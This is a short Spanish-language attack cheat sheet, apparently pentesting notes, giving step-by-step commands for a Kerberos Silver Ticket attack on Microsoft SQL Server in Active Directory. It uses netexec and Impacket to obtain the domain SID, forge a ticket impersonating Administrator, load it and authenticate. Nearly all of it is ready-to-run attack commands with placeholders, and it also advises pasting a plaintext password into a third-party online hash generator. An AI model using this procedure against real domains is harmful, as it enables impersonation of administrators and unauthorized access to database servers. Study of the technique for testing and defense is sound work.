# Silver Ticket

Cuando poseemos las credenciales del servicio, a veces podemos llegar ha abusar y generarnos un `Silver Ticket Attack`. Este consta de lo siguiente, robar el ticket de administrador para el servicio.

## MSSQL (Microsoft SQL Server)

### Paso 1: Solicitar el SID del dominio

#### Con Netexec:

```sh
netexec ldap $IP -u '<user>' -p '<password>' --get-sid
```

#### Con Impacket-looksid

<pre class="language-sh"><code class="lang-sh"><strong>impacket-lookupsid &#x3C;dominio>/'&#x3C;user>':'&#x3C;password>'@$IP
</strong></code></pre>

### Paso 2: Sacar el NTLM hash del usuario

Para poder hacer esto, hay que usar la siguiente herramienta.

{% embed url="<https://codebeautify.org/ntlm-hash-generator>" %}

Para que debuelva el hash, hay que pegar la contraseña en el `Input Text` y darle a `Generate`. A continuación se nos habrá generado correctamente y lo podremos ver en el `Output Text`.

### Paso 3: Forjar el Silver Ticket

#### Con Impacket-ticketer

```sh
impacket-ticketer -nthash '<hash NTLM>' -domain-sid '<SID del dominio>' -domain '<dominio>' -spn '<nombre del servicio>/<dominio>:<puerto del MSSQL>@<fqdn del DC>' -user-id 500 Administrator
```

### Paso 4: Generar el archivo krb5.conf

#### Con Netexec

```sh
netexec smb $IP -u '<user>' -p '<password>' --generate-krb5-file /etc/krb5.conf
```

### Paso 5: Cargar el ticket de Kerberos

```sh
export KRB5CCNAME=./administrator.ccache
```

### Paso 6: Autentificarse

#### Con impacket-mssqlclient

```sh
impacket-mssqlclient '<fqdn del DC>' -k  
```
